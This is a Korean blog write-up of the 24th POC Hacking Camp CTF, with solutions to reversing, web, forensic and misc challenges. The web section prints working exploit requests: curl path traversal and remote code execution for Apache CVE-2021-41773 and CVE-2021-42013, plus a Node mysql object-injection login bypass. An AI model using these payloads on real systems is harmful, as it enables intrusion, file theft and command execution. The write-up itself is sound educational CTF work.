히공

제 24회 POC 해킹캠프 CTF Write up 본문

write up

제 24회 POC 해킹캠프 CTF Write up

heegong 2022. 2. 21. 00:41
728x90

Rev

Baby Crack

문제

메인 함수는 헥스레이가 작동되지 않도록 함수 프롤로그를 빼버렸다. 어려운 코드도 아니고 해서 그냥 어셈으로 분석했다.

키 값이 khngEe 일 때 name 값을 알아내야 하므로 보이는 루틴에서 보이는 연산을 분석해 역연산 루틴을 만들었다.

chr(ord('k')-3) + chr(ord('h')-7) + chr(ord('n')-0xb) + chr(ord('g')+4) + chr(ord('E')+0x20) + chr(ord('e')-1)

FLAG : HCAMP{hacked}


CompReverse

문제

__int64 __fastcall sub_100003D70(const char *buf)
{
  __int64 result; // rax
  int j; // [rsp+8h] [rbp-18h]
  int i; // [rsp+Ch] [rbp-14h]
  char temp; // [rsp+13h] [rbp-Dh]
  char temp_1; // [rsp+13h] [rbp-Dh]
  int len; // [rsp+14h] [rbp-Ch]

  len = strlen(buf);
  for ( i = 0; i < len / 2; ++i )
  {
    temp = buf[i];
    buf[i] = buf[len - 1 - i];
    buf[len - 1 - i] = temp;
  }
  round2(buf);
  for ( j = 0; ; ++j )
  {
    result = (unsigned int)(len / 2);
    if ( j >= (int)result )
      break;
    temp_1 = buf[j];
    buf[j] = buf[len - 1 - j];
    buf[len - 1 - j] = temp_1;
  }
  return result;
}

함수가 총 4개가 존재했는데 메인 루틴에서 쓰이지 않는 함수가 있어서 이를 분석했다.

이 함수에서는 round2 함수를 호출하는데

void __fastcall sub_100003C80(const char *buf)
{
  int i; // [rsp+8h] [rbp-18h]
  int len; // [rsp+Ch] [rbp-14h]
  void *v3; // [rsp+10h] [rbp-10h]

  len = strlen(buf);
  v3 = malloc(len);
  for ( i = 0; i < len; ++i )
  {
    if ( !(i % 2) )
      buf[i] ^= 0x10u;
    if ( !(i % 10) )
      buf[i] ^= 5u;
    if ( i % 2 )
      buf[i] ^= 3u;
  }
  free(v3);
}

round2 함수는 문자열에 대해 for문을 돌리고, if 문으로 xor 연산을 수행한다.

연산이 너무나 간단하여 금방 코드를 짤 수 있었다.

buf = bytearray(b'\x4b\x56\x42\x5d\x53\x6b\x31\x20\x31\x22\x5c\x41\x6a\x77\x66\x62\x5c\x49\x66\x71\x71\x68')

buf_len = len(buf)
for i in range(buf_len//2):
    temp = buf[buf_len-i-1]
    buf[buf_len-i-1] = buf[i]
    buf[i] = temp

for i in range(buf_len):
    if not(i%2):
        buf[i] ^=0x10
    if not(i%10):
        buf[i]^=5
    if i%2:
        buf[i]^=3

i = 0
while True:
    if (i>=buf_len//2):
        break
    
    temp = buf[buf_len-i-1]
    buf[buf_len-i-1] = buf[i]
    buf[i] = temp
    i+=1

print(buf)

FLAG : HCAMP{2022_Tiger_Year}


Encryptor

문제

int __stdcall encrypt::encryptor(encrypt *input_file, char *output_file, char *a3)
{
  _DWORD *v3; // eax
  unsigned int v4; // eax
  int v5; // eax
  std::ostream::sentry *v6; // eax
  _BYTE *v7; // eax
  std::ostream::sentry *v8; // eax
  char v10[244]; // [esp+20h] [ebp-218h] BYREF
  char v11[248]; // [esp+114h] [ebp-124h] BYREF
  char v12[27]; // [esp+20Ch] [ebp-2Ch] BYREF
  char v13[8]; // [esp+227h] [ebp-11h] BYREF
  char v14; // [esp+22Fh] [ebp-9h]

  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v12);
  v14 = 1;
  std::ifstream::basic_ifstream((char *)input_file, 8);
  std::ofstream::basic_ofstream(output_file, 16);
  std::operator>><char,std::char_traits<char>>((std::istream::sentry *)v11, (int)v13);
LABEL_2:
  while ( 1 )
  {
    v3 = (_DWORD *)std::getline<char,std::char_traits<char>,std::allocator<char>>((std::istream::sentry *)v11, v12);
    if ( !(unsigned __int8)std::ios::operator bool((char *)v3 + *(_DWORD *)(*v3 - 12)) )
      break;
    for ( *(_DWORD *)&v13[1] = 0; ; ++*(_DWORD *)&v13[1] )
    {
      v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v12);
      if ( v4 < *(_DWORD *)&v13[1] )
        break;
      v5 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v12);
      if ( v5 == *(_DWORD *)&v13[1] )
      {
        v6 = (std::ostream::sentry *)std::operator<<<std::char_traits<char>>(
                                       (std::ostream::sentry *)v10,
                                       (unsigned __int8)table[v13[0]]);
        std::operator<<<std::char_traits<char>>(v6, v14);
        v13[0] = std::istream::peek((std::istream::sentry *)v11);
        v14 = 0;
        goto LABEL_2;
      }
      v7 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](*(_DWORD *)&v13[1]);
      if ( *v7 == v13[0] )
      {
        ++v14;
      }
      else
      {
        v8 = (std::ostream::sentry *)std::operator<<<std::char_traits<char>>(
                                       (std::ostream::sentry *)v10,
                                       (unsigned __int8)table[v13[0]]);
        std::operator<<<std::char_traits<char>>(v8, v14);
        v13[0] = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](*(_DWORD *)&v13[1]);
        v14 = 1;
      }
    }
  }
  std::ifstream::close(v11);
  std::ofstream::close(v10);
  std::operator<<<std::char_traits<char>>((std::ostream::sentry *)&std::cout, "encryption SUCCESSFUL!");
  std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
  std::ofstream::~ofstream(v10);
  std::ifstream::~ifstream(v11);
  return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v12);
}

암호화를 수행하는 로직은 C++로 이루어져 있어 매우 복잡했다.

v6 = (std::ostream::sentry *)std::operator<<<std::char_traits<char>>(
                                       (std::ostream::sentry *)v10,
                                       (unsigned __int8)table[v13[0]]);
        std::operator<<<std::char_traits<char>>(v6, v14);
        v13[0] = std::istream::peek((std::istream::sentry *)v11);
        v14 = 0;

여기서 table을 사용하여 암호화를 진행한다고 알 수가 있다.

in 파일의 요소를 하나씩 가져와 그 것을 table의 index로써 사용하여 out.txt에 쓰고, 똑같은 문자가 얼마나 반복되는지를 out.txt에 쓴다.

table = bytes.fromhex('63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16')

with open('out.txt', 'rb') as f:
    read = f.read()

flag = ''
for i in range(0, len(read), 2):
    flag += chr(table.find(read[i])) * read[i+1]

print(flag)

분석 보다는 직감으로 푼 문제같다.

FLAG : HCAMP{TTThhhh1111ssss____111111ssss__RRRRuuuuunnnn___llll3ngggttthh}







Web

Memo


문제

let flag = 0;

// Save memo to local storage when clicking the enter button.
const form = document.getElementById('memo-form');
form.addEventListener('submit', () => {
  const memo = document.getElementById('memo').value;
  if (memo == "") { return ; }
  const date = Date.now();
  localStorage.setItem(date, JSON.stringify(memo));
});

// Convert the key from string to number.
const keyArray = Object.keys(localStorage);
keyArray.forEach((key, index) => {
  keyArray[index] = Number(key);
});

// Sort memos
keyArray.sort(function(a, b) {
  return a - b;
});

// Display memo
keyArray.forEach(key => {
  const content = localStorage.getItem(key);
  const memo = JSON.parse(content);
  document.write(`<div class="memo">
    <p>${memo}</p><button class="remove"><i class="fas fa-trash-alt"></i></button></div><br>`);
});

// Delete all memos
const deleteAll = document.getElementById('delete-all');
deleteAll.addEventListener('click', () => {
  localStorage.clear();
  location.reload();
});

// Delete memo
const removes = document.querySelectorAll('.remove');
removes.forEach((btn, index) => {
  btn.addEventListener('click', () => {
    localStorage.removeItem(keyArray[index]);
    location.reload();
  });
});

if(flag) {
  var _0x1d644e=_0x1bfa;function _0x5a41(){var _0x1dc51d=['648212nEImhe','<div\x20class=\x22box\x22>./mFipVTsqLA0ixBI1G</div>','6JIGsKA','1878740WQwlmj','3563710IPbwRh','288UqbHnL','605794ZComZT','700409daJLLf','write','4622100wyIzKz','16448EMzcHD'];_0x5a41=function(){return _0x1dc51d;};return _0x5a41();}function _0x1bfa(_0x21179c,_0x36c37f){var _0x5a4135=_0x5a41();return _0x1bfa=function(_0x1bfabd,_0x2bba18){_0x1bfabd=_0x1bfabd-0x7e;var _0x43dd97=_0x5a4135[_0x1bfabd];return _0x43dd97;},_0x1bfa(_0x21179c,_0x36c37f);}(function(_0x3459f1,_0x29d380){var _0x2fc21d=_0x1bfa,_0x2473bb=_0x3459f1();while(!![]){try{var _0x18f5cf=parseInt(_0x2fc21d(0x87))/0x1+parseInt(_0x2fc21d(0x80))/0x2*(-parseInt(_0x2fc21d(0x82))/0x3)+parseInt(_0x2fc21d(0x83))/0x4+-parseInt(_0x2fc21d(0x84))/0x5+parseInt(_0x2fc21d(0x7e))/0x6+-parseInt(_0x2fc21d(0x86))/0x7+parseInt(_0x2fc21d(0x7f))/0x8*(parseInt(_0x2fc21d(0x85))/0x9);if(_0x18f5cf===_0x29d380)break;else _0x2473bb['push'](_0x2473bb['shift']());}catch(_0x453faa){_0x2473bb['push'](_0x2473bb['shift']());}}}(_0x5a41,0x88694),document[_0x1d644e(0x88)](_0x1d644e(0x81)));    }

페이지의 js코드를 살펴보면 flag 변수가 True일 때 난독화 된 코드가 실행된다.

이를 무지성으로 console 탭에서 실행하면 ./mFipVTsqLA0ixBI1G 이란 문자열을 얻는다.

http://ctf-hackingcamp.com:8081/mFipVTsqLA0ixBI1G

그래서 이 url로 접속을 시도하니 플래그가 나왔다.

FLAG : HCAMP{gmUBaGw0QmCG05UO5nSS}


Apache

문제

flag는 /this_is_flag에 위치한다고 알려준다.

사이트를 들어가면 아파치 버전이 2.4.49 알려준다.

검색을 통해 Apache 2.4.49에 CVE-2021-41773 Path Traversal 1-day 취약점이 있음을 알아냈고, ../를 우회해서 풀 수 있었다.

curl http://ctf-hackingcamp.com:4088/cgi-bin/.%2e/.%2e/.%2e/.%2e/this_is_flag

FLAG : HCAMP{6d1a92ab7734ae55b234ed4d8cb772baa6159e76674f8ddb03d812cc9062a1e4}


Apache v2

문제

flag가 /flag에 있다고 알려준다.

이번에는 Apache 버전이 2.4.50이다.

2.4.49에서 패치된 CVE-2021-41773을 우회한 CVE-2021-42013 Path Traversal 1-day를 사용했지만 이전 문제같이 플래그의 내용을 읽어올 수 없었고, RCE 기법을 통해 플래그를 읽었다.

curl http://ctf-hackingcamp.com:4089/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash -d 'echo Content-Type: text/plain; echo; cat /flag' -H "Content-Type: text/plain"

FLAG : HCAMP{270cab0abcc907a079db4f0faf18255b744866c0d26284df60009296880832d0}


node sqli

문제

var express = require("express");
var session = require("express-session");
var mysql = require("mysql");

var md5 = require("md5");
var crypto = require("crypto");

var app = express();

var FLAG = process.env.FLAG;

app.use(express.urlencoded({
    extended: false
}));

app.use(express.json());

app.use(session({
    secret: 'secret',
    resave: false,
    saveUninitialized: true
}));

var connection = mysql.createConnection({
    host: 'db',
    user: 'root',
    password: 'password',
    database: 'node_sqli'
});

connection.connect();

connection.query("INSERT IGNORE INTO users (userid, userpw) VALUES (?, ?)",
    [ 'admin', md5(crypto.randomBytes(30)) ],
    (error, results, fields) => {
        if (error) throw error;
    }
)

app.get('/', (req, res) => {
    if (req.session.user === "admin") {
        res.send(FLAG);
    } else {
        res.send("hello hcamp 2022 <br><a href='/login'>login</a><br><a href='/register'>register</a>");
    }
});

app.get('/login', (req, res) => {
    res.sendFile(__dirname+"/views/login.html");
});

app.post('/login', (req, res) => {
    var userid = req.body.userid;
    var userpw = req.body.userpw;

    if (userid && userpw) {
        connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
            [ userid, userpw ],
            (error, results, fields) => {
                if (error) throw error;

                console.log(userid, results)

                if (results.length > 0) {
                    req.session.user = userid;
                    res.redirect('/');
                } else {
                    res.send("wrong userid or userpw");
                }
                
                res.end();
            }
        );
    } else {
        res.send("userid or userpw cannot be empty");
    }
});

app.get('/register', (req, res) => {
    res.send('register is under construction');
})

app.listen(3000, ()=> {
    console.log("server listening on port 3000");
})

app.js 코드다.

이 문제의 이름이 node sql injection이라 얼마 전에 봤던 블로그 글이 떠올랐다.

https://harold.kim/blog/2022/02/nodejs-mysql-vulnerability/

이 블로그에서 Node Js 생태계에서 SQL Injection을 하는 방법을 설명하기에 이 방법을 따라했다.

app.post("/auth", function (request, response) {
  var username = request.body.username;
  var password = request.body.password;
  if (username && password) {
    connection.query(
      "SELECT * FROM accounts WHERE username = ? AND password = ?",
      [username, password],
      function (error, results, fields) {
        ...
      }
    );
  }
});

블로그에서 나온 js코드

app.post('/login', (req, res) => {
    var userid = req.body.userid;
    var userpw = req.body.userpw;

    if (userid && userpw) {
        connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
            [ userid, userpw ],
            (error, results, fields) => {
                if (error) throw error;

                console.log(userid, results)

                if (results.length > 0) {
                    req.session.user = userid;
                    res.redirect('/');
                } else {
                    res.send("wrong userid or userpw");
                }
                
                res.end();
            }
        );
    } else {
        res.send("userid or userpw cannot be empty");
    }
});

문제에서 제공된 app.js 코드

거의 똑같기 때문에 변수명만 바꿔서 공격을 시도했다.

data = {
  "userid": "admin",
  "userpw": {
    "userpw": 1
  }
}

fetch("http://ctf-hackingcamp.com:32002/login", {
  "headers": {
    "content-type": "application/json",
  },
  "body": JSON.stringify(data),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
})
.then(r => r.text())
.then(r => { console.log(r); });

FLAG : HCAMP{chall_idea_from_https://blog.flatt.tech/entry/node_mysql_sqlinjection}







Forensic

find clue!

문제를 살펴보면 외부 저장소에 관한 문제가 2개나 있기에 data, mnt 폴더 중 mnt 폴더를 탐색했다.

mnt/sdcard 폴더에는 안드로이드 디바이스에 sd카드를 연결하고 사용했을 때 하고 비슷해서 심심할 때 폰에서 저장소를 뜯어보는 나에게 매우 좋았다.

1 외부 저장소에 민감한 정보가 기록되었다. 해당 파일 이름은?

이 문제는 모든 파일을 뒤져본 결과 gpslog2022pamc.txt에 존재하는 것임을 알게 되었다(사용자의 위치와 카드 번호는 민감한 정보이기 때문에 이 파일이 민감한 정보를 담는 파일이라고 판단).

답 : gpslog2022pamc

2 외부 저장소로 민감한 정보를 저장하는 앱의 이름은?

이 문제를 풀기 위해서는 앱들의 package가 모여있는 Android/data 폴더를 살펴보면 된다. demon.arrester.gpscheck 라는 패키지가 존재했고, 1번 문제에서 gps를 로깅했던 것으로 보아 이 앱이 민감한 정보를 저장하는 앱이라고 생각했다.

답 : gpscheck

3 해커가 이동한 위치 흔적을 남겼다. 해당 위치의 나라 이름은? (소문자)

Pictures/blackhat.jpg 파일에 이러한 사진이 존재했다. 그래서 이 사진으로 구글 이미지 검색을 했다.

사진의 위치가 peru임을 확인할 수 있었다.

답 : peru

FLAG : HCAMP{gpslog2022pamc_gpscheck_peru}







Misc

Prototype

문제

import base64

data = base64.b64decode('cmRvY3V3YxZFE3dSeBMYVXkSc1d5EUlLeHYQVkdwHBw=')

flag = ''
for i in data:
    flag += chr(i ^ 0x21)

flag = base64.b64decode(flag).decode()
print(flag)

FLAG : HCAMP{welcom_to_Hcamp}


pyepyepye

문제

nc로 서버에 접속했을 때 간단한 연산 식이 나옴을 확인했고, 이 것을 빨리 풀어야 할 것 같아서 pwntools를 사용했다.

from pwn import *

r = remote('ctf-hackingcamp.com', 40021)

for i in range(3):
    data = r.recv()
    data = data.replace(b'=', b'')
    value = eval(data)
    r.sendline(str(value))

print(r.recv())

FLAG : HCAMP{pyth0n_1s_g00d_l@ng}

'write up' 카테고리의 다른 글

SSTF2020 - CRACKME101  (0) 2020.09.16
Comments